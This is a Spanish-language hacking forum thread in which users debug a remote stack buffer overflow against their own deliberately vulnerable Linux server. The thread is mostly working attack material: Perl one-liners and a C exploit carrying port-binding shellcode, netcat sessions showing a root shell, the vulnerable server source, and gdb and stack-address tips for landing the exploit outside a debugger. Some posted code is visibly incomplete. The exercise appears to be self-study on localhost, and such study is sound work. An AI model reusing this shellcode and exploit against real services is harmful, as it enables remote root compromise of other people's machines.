Autor
|
Tema: ¿ Fallo BoF Remoto Linux ? (Leído 9,126 veces)
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Perdona el doblepost, pero cuando consigues algo que quieres te motivas un puñado Te explico... Servidorjuanra@Juanra:~/Escritorio/Serv$ sudo gdb -q serv (gdb) r 31330 Starting program: /home/juanra/Escritorio/Serv/serv 31330 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 21/02/2011 23:16:53 21/02/2011 23:16:53 Starting up...
21/02/2011 23:17:00 Got connection from 127.0.0.1:43225 21/02/2011 23:17:00 RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀�� RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���
Exploit linejuanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x35\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31330 hK 2.0 - By Sagrini (2010) - 21/02/2011 23:17:00 21/02/2011 23:17:00 Got connection with 127.0.0.1:31330 juanra@Juanra:~$
Bind Shell 5074juanra@Juanra:~$ nc -vv localhost 5074 localhost [127.0.0.1] 5074 (?) open whoami root groups root exit sent 19, rcvd 10 juanra@Juanra:~$
12 NOPS + 92 SHELLCODE + 4 RET + 1 BASURA buffer [cont-1]='\0';
Lo que me fastidia es que sólo corre cuando abres el servidor desde GDB. Mañana lo miraré Un saludo!
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Hola!! El tema de que no te funcione sin el "gdb" es porque la dirección que pones como salto a los NOPs no es la misma cuando corre el programa con el gdb que sin él. Tendrás que crear te una función que en tiempo de ejecución te dé un ESP al que le tengas que restar unos cuantos bytes para que caiga dentro de los NOPS. La función que yo uso es esta: unsigned get_esp(void) { __asm__("movl %esp, %eax");
} Con respecto al BOF remoto, mañana volvere a intentar otra cosa. Salu2!!
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Mmm, yo sencillamente modifico el código con un printf y listo xD La cosa es que ahora se come la shellcode, la empieza por donde no es y me suelta "Instrucción ilegal". Ahora, en GDB gracias a los nops corre xD Seguiré mirando... _________________________________________________________ Modf: Vaya con la shellcode... Añado al codeint vuln (char *trampa) { char buffer [100]; printf ("Buffer [0x%08x] contains %s...\n", &buffer , buffer ); }
NCjuanra@Juanra:~$ nc -vv localhost 5074 localhost [127.0.0.1] 5074 (?) open sent 0, rcvd 0 juanra@Juanra:~$
Exploitjuanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337 hK 2.0 - By Sagrini (2010) - 22/02/2011 01:04:25 22/02/2011 01:04:25 Got connection with 127.0.0.1:31337 juanra@Juanra:~$
Ejecuto...juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:04:19 22/02/2011 01:04:19 Starting up...
22/02/2011 01:04:25 Got connection from 127.0.0.1:58332 22/02/2011 01:04:25 RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀�� RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS��� Fallo de segmentación
1. Ejecuto el servidor (port 31337).2. Ejecuto el exploit. El servidor recibe la cadena y queda parado.3. Ejecuto el NC. El netcat dice que se cierra la conexión y el servidor que "fallo de segmentación".¿?¿?¿?_________________________________________________________ Aparte, de pruebas... Serverjuanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:13:49 22/02/2011 01:13:49 Starting up...
22/02/2011 01:13:51 Got connection from 127.0.0.1:50840 22/02/2011 01:13:51 RECV 109 bytes: ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(��� Buffer [0xbffff824] contains ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���... Bjuanra@Juanra:~/Escritorio/Serv$
Exploitjuanra@Juanra:~$ perl -e 'print "\x90"x80 . "\x31\xc0\xb0\x04\x31\xd2\xb2\x01\x6a\x42\x89\xe1\x31\xdb\x43\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337 hK 2.0 - By Sagrini (2010) - 22/02/2011 01:13:51 22/02/2011 01:13:51 Got connection with 127.0.0.1:31337 juanra@Juanra:~$
La shellcode sólo escribía una B y salía. Funciona a la perfección
|
|
« Última modificación: 22 Febrero 2011, 01:14 am por Sagrini »
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Vale, ahora estaba pasando todo a limpio con una shellcode buena, y me ha salido este error al escribir el exploit... El fallo está en que me sobreescribe el RET con en el principio de la shellcode (9958666a == 0x6a 0x66 0x58 0x99 ...) ¿Qué le pasa? Serv#include <sys/socket.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <time.h> int sockfd, newsock; void shutup (int signal) { times (); printf ("Shutting down...\n\n"); close (newsock); close (sockfd); } int times () { struct tm *ahora; char buffer [40]; strftime (buffer , 40, "%d/%m/%Y %H:%M:%S" , ahora ); return 0; } int handle_conection (char *buffer) { char buff [256]; times (); printf ("[0x%08x]: %s\n", &buff , buff ); return 0; } int main (int argc, char *argv []) { struct tm *ahora; char hora [40]; strftime (hora , 40, "%d/%m/%Y %H:%M:%S" , ahora ); printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora ); if (getuid()!=0) { printf ("This proccess must be run by root.\n\n"); return 1; } if (argc<2) { printf ("Use: %s <PORT>\n\n", argv [0]); return 1; } int cont; struct sockaddr_in client, host; char buffer [1024]; int size=sizeof (client); sockfd=socket (2, 1 , 0); host.sin_family=AF_INET; host. sin_port=htons (atoi (argv [1])); host.sin_addr.s_addr=0; bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)); listen (sockfd, 3); times (); printf ("Starting up...\n\n"); signal (SIGTERM, shutup); signal (SIGINT, shutup); while (1) { newsock=accept (sockfd, (struct sockaddr*)&client, &size); times (); printf ("Got connection from %s:%d\n", inet_ntoa (client. sin_addr), ntohs (client. sin_port)); cont=recv (newsock, &buffer, 1024, 0); while (cont > 1) { handle_conection (buffer); cont=recv (newsock, &buffer, 1024, 0); } times (); printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client. sin_addr), ntohs (client. sin_port)); close (newsock); } close (sockfd); return 0; }
Exploit#include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <sys/socket.h> int main (int argc, char *argv []) { printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n"); if (argc != 3) { printf ("!!! Use: %s <target_ip> <port>\n\n", argv [0]); return 1; } printf ("Creating socket...\t"); struct sockaddr_in host; int sockfd; host.sin_family = AF_INET; host. sin_port = htons (atoi (argv [2])); host.sin_addr.s_addr = inet_addr (argv [1]); if ((sockfd=socket (2, 1, 0))==-1) { return 1; } printf ("Conecting target...\t"); if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1) { return 1; } printf ("Creating buffer...\t"); char nops [168]; char shellcode [93] = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58" "\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66" "\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a" "\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; char ret [6] = "\x30\xf8\xff\xbf\x90"; char command [265]; printf ("Sending buffer...\t"); if (send (sockfd , &command , strlen (command ), 0)==-1) { return 1; } FILE *fp = fopen ("a.txt", "w+"); printf ("Now you can exec NC [nc -vv localhost 5074]\nBe good!\n\n"); return 0; }
Root Shell1 GDB serv(gdb) r 31330 Starting program: /home/juanra/Escritorio/Serv/serv 31330 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 02/03/2011 19:50:08 02/03/2011 19:50:08 Starting up...
02/03/2011 19:50:11 Got connection from 127.0.0.1:41991 02/03/2011 19:50:11 [0xbffff6f8]: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy�� Rh//shh/bin��R��S��̀jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy�� Rh//shh/bin��R��S��̀0����n���������� �����(跢%���y���y��(���1���1����y���y��(���1����������
Program received signal SIGSEGV, Segmentation fault. 0x9958666a in ?? () (gdb)
User Shell2 Exploitjuanra@Juanra:~/Escritorio/Serv$ ./exploit 127.0.0.1 31330 Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net Creating socket... [OK] Conecting target... [OK] Creating buffer... [OK] Sending buffer... [OK]
Now you can exec NC [nc -vv localhost 5074] Be good!
juanra@Juanra:~/Escritorio/Serv$
Gracias y un saludo! Sagrini
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
not-all0w3d
Desconectado
Mensajes: 9
|
Hay una extraña sensación en mi, que me indica sólo una cosa, el que no programa su propia shellcode, no está listo para solucionar todo tipo de problemas..
No he leído bien y replanteo la pregunta, ¿has hecho tú la shellcode?
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Esta no, la he cogido de "Hacking, técnicas fundamentales", aunque está mal. Funciona, pero a veces da errores. Voy a ver si luego la puedo poner, lo más seguro es que no vaya... Reabro sesión y modif...
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
not-all0w3d
Desconectado
Mensajes: 9
|
Esta no, la he cogido de "Hacking, técnicas fundamentales", aunque está mal. Funciona, pero a veces da errores. Voy a ver si luego la puedo poner, lo más seguro es que no vaya... Reabro sesión y modif...
¡Qué mal!, te recomiendo que hagas tus propias shellcodes, yo sigo aprendiendo y me gusta esto de los overflows, y créeme es una batalla contra el Ollydbg (En mi caso).. Bueno espero que te funcione y ya ahí me pasas la shellcode para chequearla
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Sí, sólo que el nivel de complejidad de este tipo de shellcodes es algo más alto... Hago las mías propias para cosas pequeñas, pero una portbinding shell ya es otra cosa Aún no me he animado a hacerla Aunque comparto tu opinión, esta shellcode era menos importante a que funcionase correctamente. Un detalle, para el que quiera que funcione cuando lo corras fuera del debugger, tienes que juntarse a su proceso. Os pongo el ejemplo: sagrini@sagrini:~/Escritorio/OverFlow/Cap2$ sudo ./serv 80 & [1] 5166 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/03/2011 18:09:26 sagrini@sagrini:~/Escritorio/OverFlow/Cap2$ sudo gdb -q -pid=5166 --symbols=./serv Attaching to process 5166 Load new symbol table from "/home/sagrini/Escritorio/OverFlow/Cap2/serv"? (y or n) y 0xb783d430 in __kernel_vsyscall () (gdb) c Continuing. 22/03/2011 18:10:08 Got connection from 127.0.0.1:49484 Program received signal SIGSEGV, Segmentation fault. 0xb76f83c1 in getenv () from /lib/tls/i686/cmov/libc.so.6 (gdb) x/5000b $esp [...] 0xbfe1a0b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0b8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0d0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0d8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0f8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a100: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a108: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a110: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 [...] (gdb) --------------------------------------------------------- sagrini@sagrini:~$ perl -e 'print "A"x1040' | hK vc 127.0.0.1 80 hK 2.0 - By Sagrini (2010) - 22/03/2011 18:12:23 22/03/2011 18:12:23 Got connection with 127.0.0.1:80
Un saludo Sagrini
|
|
« Última modificación: 22 Marzo 2011, 18:13 pm por Sagrini »
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
|
|